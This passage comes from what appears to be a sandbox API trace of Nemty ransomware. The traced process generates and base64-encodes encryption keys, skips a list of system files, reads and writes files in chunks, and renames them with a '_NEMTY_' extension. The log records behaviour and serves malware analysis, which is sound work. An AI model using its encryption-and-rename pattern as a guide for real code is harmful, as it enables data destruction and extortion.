pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0098.122] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0098.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0098.122] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="+Mec+rOVYa+6MH8rp57nC3+xDwz/pc18H6rT4hrAszWKPhFQhqCTuWs4KWMu+Ff3\r\nSMvTcr8z2zSCDkq/wOqG/KTl2zHfIf9IvTGeqSgJPjZKm7UdRXVWFPkpnBlZD9Ht\r\n/DbZwdI56weFDZ6hBvOBt6lE/+zjgMLdTRSbc/UOov2Y+nfkoBxf8J+m65pDr4SY\r\nWWIVzCWhlJlDSDjlphaxSJiAKktugVegaZfSX/jPSEamCbBl+opZXtwNhAlBL4XH\r\noMIfJvldVkQzWKAs362tFv/MmOFJwreQ9piJW6YCsI1cj9AvDUhb2Grct/SWQsBd\r\nGLk9MZpySLu6nteLn22ntA==\r\n", pcchString=0x653ef9c) returned 1 [0098.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0098.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0098.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0098.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0098.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0098.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0098.122] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0098.123] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0098.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634fc48 [0098.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.123] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.133] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.133] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.133] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.142] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.142] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.151] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.151] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.161] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.161] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.189] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.189] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.198] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.207] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.207] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.217] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.217] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.236] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.236] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.242] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.248] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.248] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634fc48 | out: hHeap=0x4f90000) returned 1 [0098.248] CloseHandle (hObject=0xffffffff) returned 0 [0098.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94318 [0098.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0098.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0098.248] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0098.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0098.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0098.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94390 [0098.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0098.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94390 | out: hHeap=0x4f90000) returned 1 [0098.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0098.248] MoveFileW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui._nemty_kgobjgd_")) returned 0 [0098.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0098.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94318 | out: hHeap=0x4f90000) returned 1 [0098.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0098.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0098.248] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0098.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0098.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a0 | out: hHeap=0x4f90000) returned 1 [0098.249] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2=".") returned 1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="..") returned 1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="...") returned 1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="windows") returned -1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="rsa") returned -1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="NTDETECT.COM") returned -1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="ntldr") returned -1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="MSDOS.SYS") returned -1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="IO.SYS") returned -1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="boot.ini") returned 1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="boot.ini") returned 1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="ntuser.dat") returned -1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="desktop.ini") returned 1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="CONFIG.SYS") returned 1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="RECYCLER") returned -1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="bootmgr") returned 1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="programdata") returned -1 [0098.249] lstrcmpiW (lpString1="iedvtool.dll.mui", lpString2="appdata") returned 1 [0098.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0098.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iedvtool.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0098.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iedvtool.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iedvtool.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0098.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0098.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iedvtool.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0098.249] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.249] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iedvtool.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iedvtool.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0098.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.249] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0098.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0098.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0098.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iedvtool.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0098.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iedvtool.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iedvtool.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0098.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0098.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0098.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iedvtool.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0098.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0098.250] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="iedvtool.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iedvtool.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0098.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0098.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942a0 [0098.250] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0098.250] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0098.250] Sleep (dwMilliseconds=0x5) [0098.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xee3739d0, dwHighDateTime=0x1d561e7)) [0098.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xee3739d0, dwHighDateTime=0x1d561e7)) [0098.262] GetLastError () returned 0x5 [0098.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0098.262] GetLastError () returned 0x5 [0098.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0098.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0098.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0098.262] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0098.262] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0098.263] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0098.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0098.263] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="/6TK/2hQj0nFyxA5mm1P/Qc548x1HqQ9fLIOoLTByD7FLJ1PHJeS9W1eiIg/nCzT\r\n71pjNctgbQHkPTJLr9ld8TCJCGEKgJMWHQjoVn50PD0JGitFuGmKs5kYQiX1N9pC\r\n6nCEGVGslXv1UptoI16D9gNRgZrrONW75Rs3/fK/duWq4k86M0F0vN7y5Se1M3IB\r\nYLU/0xbUKGF5dphyqNulXuBDWYqCbAxvR9BIUb+I3oCuzoP0iPfpDNIoB/zQT6CM\r\nId3nnQHKTA5T58L5We4O9H2ZjlSfQbr0xP2Ou17tbpFn4oN8Zk422I0hu+0Cx/rv\r\nm/ql99QVdNKlRmkXpEb5lg==\r\n", pcchString=0x653ef9c) returned 1 [0098.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0098.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0098.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0098.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0098.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0098.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0098.263] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0098.263] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0098.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634fc48 [0098.263] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.263] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, 